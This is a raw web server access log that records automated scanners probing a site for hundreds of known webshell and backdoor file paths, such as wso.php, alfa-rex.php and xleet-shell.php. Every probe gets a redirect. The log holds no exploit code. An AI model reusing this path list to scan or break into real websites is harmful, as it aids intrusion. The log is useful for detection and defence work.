"GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:53 -0400] "GET /wp-admin/css/colors/blue/blkabtfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:53 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 34.220.205.80 - - [18/Apr/2025:21:46:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 40.113.19.159 - - [18/Apr/2025:21:51:05 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:07 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:07 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:08 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:09 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:10 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:13 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:14 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:15 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:15 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:16 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:17 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:18 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:18 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:19 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:20 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:21 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:21 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:22 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:23 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:24 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:25 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:27 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:28 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:29 -0400] "GET /about.php?dir=/home/tvfuazjx/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:30 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:32 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:34 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:36 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:38 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:40 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:42 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:43 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:46 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:48 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:50 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:52 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:53 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:54 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:56 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:57 -0400] "GET /admin-header.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:51:59 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:00 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:01 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:02 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:03 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:05 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:06 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:07 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:07 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:08 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:09 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:10 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:10 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:11 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:12 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:12 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:13 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:14 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:15 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:15 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:16 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:17 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:17 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:18 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:19 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:19 -0400] "GET /wp-content/plugins/linkpreview/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:20 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:21 -0400] "GET /wp-content/plugins/elementor/elementor-merge.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:22 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:22 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:23 -0400] "GET /wp-admin/js/QXUho.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:24 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:24 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:25 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:26 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:26 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:27 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:27 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:28 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:29 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:29 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:30 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:32 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:32 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:33 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:34 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:35 -0400] "GET /wp-admin/axcjwclf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:37 -0400] "GET /images/wp-ok.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:38 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:39 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:40 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:42 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:43 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:44 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:45 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:47 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:50 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:53 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:55 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:57 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:58 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:52:59 -0400] "GET /aleXus.php/cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:01 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:02 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:06 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:07 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:08 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:09 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:11 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:13 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:14 -0400] "GET /makeasmtp.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:14 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:15 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:16 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:17 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:18 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:53:18 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:53:19 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:21 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:22 -0400] "GET /wp-admin/css/colors/HaUaphPh.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:23 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:25 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:27 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:28 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:29 -0400] "GET /css/uslipjzt.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:29 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:30 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:31 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:32 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:32 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:53:32 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:53:33 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:33 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:34 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:35 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:36 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:37 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:37 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:38 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:39 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:40 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:41 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:42 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:43 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:44 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:45 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:45 -0400] "GET /css/nqfvanbd.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:46 -0400] "GET /.well-known/awraulub.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:47 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:53:47 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:53:47 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:49 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:50 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:51 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:52 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:53 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:54 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:55 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:56 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:57 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:53:58 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:00 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:01 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:03 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:03 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:05 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:05 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:07 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:08 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:09 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:09 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:10 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:11 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:12 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:14 -0400] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:15 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:15 -0400] "GET /wp-content/k.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:54:15 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:54:17 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:18 -0400] "GET /css/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:19 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:21 -0400] "GET /wp-admin/css/colors/fridSiB.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:23 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:24 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:25 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:26 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:27 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:28 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:29 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:30 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:31 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:31 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:32 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:32 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:33 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:33 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:33 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:34 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:34 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:34 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:35 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:36 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:36 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:36 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:37 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:37 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:37 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:38 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:38 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:38 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:39 -0400] "GET /assets/qvbgifxl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:39 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:39 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:21:54:39 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.113.19.159 - - [18/Apr/2025:21:54:40 -0400] "GET /makeasmtp.php/payment.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:40 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:40 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:40 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 40.113.19.159 - - [18/Apr/2025:21:54:41 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - [18/Apr/2025:21:54:41 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.74.150.99 - - 